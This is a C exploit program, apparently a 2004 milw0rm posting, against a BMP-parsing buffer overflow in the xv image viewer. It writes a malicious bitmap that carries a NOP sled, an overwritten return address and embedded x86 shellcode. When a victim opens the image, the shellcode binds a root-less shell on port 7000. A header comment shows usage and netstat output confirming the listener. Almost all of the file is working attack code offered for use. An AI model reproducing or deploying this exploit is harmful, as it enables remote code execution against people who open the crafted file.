151 lines
No EOL
3.4 KiB
C
151 lines
No EOL
3.4 KiB
C
/*
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* xv exploit for the bmp parsing buffer overflow
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*
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* infamous42md AT hotpop DOT com
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* PEOPLE STOP EMAILING MY BUGTRAQ ADDRESS AND USE THIS ONE!!
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*
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* [n00b_at_localho.outernet] gcc -Wall xv_bmpslap.c
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* [n00b_at_localho.outernet] ./a.out
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* Usage: ./a.out < retaddr > [ align ]
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* [n00b_at_localho.outernet] ./a.out 0xbffff388
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* [n00b_at_localho.outernet] netstat -ant | grep 7000
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* [n00b_at_localho.outernet] ./xv suckit.bmp
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* [n00b_at_localho.outernet] netstat -ant | grep 7000
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* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
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*
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*/
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#include <stdio.h>
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#include <sys/types.h>
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#include <fcntl.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <string.h>
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#include <netinet/in.h>
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#define ALIGN 0
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#define NOP 0x90
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#define NNOPS 256
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#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
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#define BS 0x10000
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#define OUTFILE "suckit.bmp"
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#define OVERWRITE_BYTES 700
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/* a bitmap header structure */
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#define BMP_HDR_SZ sizeof(struct bmp)
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struct bmp {
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u_char type[2];
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u_int bfsize,
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reserved,
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offbits,
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bisize, /* 40 */
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width,
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height;
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u_short planes, /* 1 */
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bitcount; /* 4 */
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u_int compres, /* != 1 */
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szimg,
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xppm,
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ypppm,
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clrused, /* write length */
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clrimportant;
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} __attribute__ ((packed));
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/* for easy access */
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typedef union _ret {
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u_long ret;
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u_char retb[sizeof(u_long)];
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} ret_t;
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/* call them on port 7000, mine */
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char remote[] =
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"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
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"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
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"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
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"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
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"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
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"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
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"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
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"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
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void make_bmp(char *buf, int len)
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{
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int fd = 0;
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/* create the 3vil file */
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if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
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die("open");
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if(write(fd, buf, len) < 0)
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die("write");
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close(fd);
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}
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/*
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*
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*/
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int main(int argc, char **argv)
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{
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int len, x, align = ALIGN;
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char buf[BS];
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ret_t retaddr;
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struct bmp bmp;
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if(argc < 2){
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fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]);
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return EXIT_FAILURE;
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}
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if(argc > 2){
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align = atoi(argv[2]);
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if(align < 0 || align > 3)
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die("get bent bitch");
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}
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sscanf(argv[1], "%lx", &retaddr.ret);
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/* setup bitmap */
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memset(&bmp, 0, BMP_HDR_SZ);
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bmp.type[0] = 'B', bmp.type[1] = 'M';
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bmp.bisize = 40;
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bmp.bitcount = 4;
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bmp.clrused = OVERWRITE_BYTES;
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bmp.planes = 1;
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/* create 3vil buf */
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memset(buf, NOP, BS);
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memcpy(buf, &bmp, BMP_HDR_SZ);
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len = BMP_HDR_SZ;
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len += align;
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/* fill in ret address starting at byte offset 0, every other 4 bytes */
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for(x = 0; x < OVERWRITE_BYTES; x++)
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buf[len + (x*4)] = retaddr.retb[x & 0x3];
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/* fill in shell after NOPS, at byte offset 2, every other 4 bytes */
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for(x = 0; x < strlen(remote); x++)
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buf[len + (NNOPS*4) + (x*4) + 2] = remote[x];
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/* extra */
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len += OVERWRITE_BYTES * 10;
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make_bmp(buf, len);
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return 0;
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}
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// milw0rm.com [2004-08-20]
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